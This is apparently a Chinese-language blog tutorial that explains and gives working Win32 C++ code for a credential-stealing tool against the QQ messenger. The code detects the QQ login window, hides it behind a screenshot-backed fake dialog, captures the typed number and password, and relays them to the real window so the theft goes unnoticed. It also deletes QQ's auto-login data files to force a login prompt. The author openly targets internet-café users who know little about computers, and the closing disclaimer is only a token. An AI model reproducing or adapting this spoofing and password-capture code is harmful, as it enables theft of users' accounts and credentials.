近日無所事事,看到現在的QQ防盜技術越來越好,一般的鉤子已經無法獲取用戶輸入的密碼了,我也試圖用發送WM_GETTEXT消息以及GetWindowText來獲取密碼文本框的數據,發現是不可行的。左思右想,既然程序本身的防范很 嚴密。那麼我們就從用戶這邊來下手吧。畢竟很多用戶對電腦不是很了解的^_^,各位看官可不能扔丑雞蛋啊。
網吧裡一般用戶點擊QQ快捷方式後就輸入號碼和密碼,然後再登陸,這樣我們就可以進行欺騙了。我們的程序運行在後台不停的檢測當前激活的窗口是不是QQ登錄的窗口,如果是的話就先取得QQ登錄窗口中的號碼、密碼文本框和登陸按鈕的窗口位置。這樣是為了在我們偽造的窗口上創建這些窗口時不被察覺^_^,獲得這些信息後,我們先截取整個屏幕,然後把真正的QQ登錄窗口隱藏起來,最後創建我們自己的窗口,設置為最前占滿整個桌面,然後再背景上貼上剛才抓取的圖片。最後在圖片QQ登陸的地方創建好QQ號碼和密碼輸入窗口,在檢測到用戶單擊在QQ登陸按鈕時獲取用戶輸入的字符,把這些字符發送到真正的QQ窗口裡,最後模擬單擊QQ登陸按鈕完成QQ的正常登陸。
然而家庭用戶一般是選了自動登陸的方式,所以沒有QQ登錄的窗口,那我們就要動一些手腳了。了解QQ的地球人都知道^_^,QQ文件夾下有這兩個文件:AutoLogin.dat和LoginUinList.dat,它們的功能:這兩個文件是QQ的號碼登錄數據文件,AutoLogin.dat 保存的是自動登錄號碼的數據文件,LoginUinList.dat則保存的是QQ登錄窗口中的“QQ號碼”下拉框中顯示的所有號碼記錄。所以我們要刪除QQ登錄數據,直接刪除AutoLogin.dat和LoginUinList.dat兩個文件就行了。主要代碼分析如下:
//根據進程ID得到進程名稱
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找QQ登錄窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//獲得當前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根據PID獲得進程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判斷是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//獲得標題文字,判斷是否登陸對話框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登錄", 0);
if(n >= 0 || m >= 0)
{
//查找QQ登陸按鈕的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登錄");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登錄");
LoginID = GetDlgCtrlID(ButtonLogin);
//獲得QQ登陸按鈕窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);
//查找QQ取消按鈕的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//獲得QQ取消按鈕窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);
//查找QQ密碼輸入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//獲得QQ密碼輸入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//查找QQ號碼輸入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//獲得QQ號碼輸入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//獲得當前默認QQ號碼
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待QQ窗口完全出現後抓取整個屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
//設置QQ窗口為不可見
ShowWindow(g_hWnd, SW_HIDE);
//彈出我們創建的偽造對話框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//設置QQ窗口為可見
ShowWindow(g_hWnd, SW_SHOW);
//把QQ號碼和密碼填到真正的QQ登錄窗口上,並模擬單擊登陸按鈕
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pBitmap);
//設置標志退出循環
find = true;
}
}
while(find == FALSE);
}
截圖如下:
圖一 偽裝的登陸界面
好了,說到這兒也差不多啦,見笑見笑了^_^,最後奉勸一句,請勿用於非法。有什麼問題或您有更好的建意請不要忘了和我聯系哦,郵箱: [email protected]
本文配套源碼